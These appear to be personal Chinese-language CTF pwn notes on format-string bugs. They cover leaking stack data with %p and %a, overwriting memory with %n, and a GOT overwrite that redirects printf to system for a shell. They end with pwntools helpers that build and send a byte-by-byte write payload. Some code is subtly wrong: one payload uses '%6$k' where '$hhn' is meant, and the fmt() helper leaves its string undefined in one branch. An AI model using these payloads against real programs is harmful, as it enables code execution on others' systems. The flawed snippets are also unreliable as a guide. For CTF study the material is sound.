../格式化字符串漏洞笔记

格式化字符串漏洞笔记

  1. 泄露内存

    一般利用%p来泄露信息,比如libc基址之类的

    当开启FORTIFY后,printf会被 __printf_chk 替代,此时%k$p必须得连续使用,%n也会有检查

    此时可以用%a (以double类型输出栈中数据)

  2. 覆盖地址

    1. 小数字 (<4)

      可以把地址放到后面,只要 %k$n 对应上就可以

      例如 c = 0x123456, 2 -> c,原始的fmtarg为11

      payload = AA%13$nA + p32(c)

      栈中原本11的位置变成了 AA%1,12为3$nA,13就是c的地址

    2. 大数字

      大数字一般两位两位的写入

      可以配合修改got表中地址实现例如把printf指向system从而执行system getshell,但是一般得先泄露libc地址

      例如 c = 114514,&c = 0x12345678,设置c为0x11223344

      0x11223344在内存中为 \x44\x33\x22\x11

      所以分成四次

      # 0x12345678 -> 0x44
      # 0x1234567a -> 0x33
      # 0x1234567c -> 0x22
      # 0x1234567e -> 0x11
      payload += p32(0x12345678) + p32(0x1234567a) + p32(0x1234567c) + p32(0x1234567e) + %padc%6$k +  %padc%7$k + %padc%8$k + %padc%9$k
      

      给出一个长字节填充构造函数

      def fmt(prev, word, index):
          if prev < word:
              result = word - prev
              fmtstr = "%" + str(result) + "c"
          elif prev == word:
              result = 0
          else:
              result = 256 + word - prev
              fmtstr = "%" + str(result) + "c"
          fmtstr += "%" + str(index) + "$hhn"
          return fmtstr
      
      
      def fmt_str(offset, size, addr, target):
          payload = ""
          for i in range(4):
              if size == 4:
                  payload += p32(addr + i)
              else:
                  payload += p64(addr + i)
          prev = len(payload)
          for i in range(4):
              payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
              prev = (target >> i * 8) & 0xff
          return payload
      
      # offset 表示要覆盖的地址最初的偏移
      # size 表示机器字长
      # addr 表示将要覆盖的地址。
      # target 表示我们要覆盖为的目的变量值
      
      def forb():
          sh = process('./overwrite')
          payload = fmt_str(6, 4, 0x0804A028, 0x12345678)
          print payload
          sh.sendline(payload)
          print sh.recv()
          sh.interactive()
      # 这是一个例子代码
      

/CTF/ /PWN/ /格式化字符串/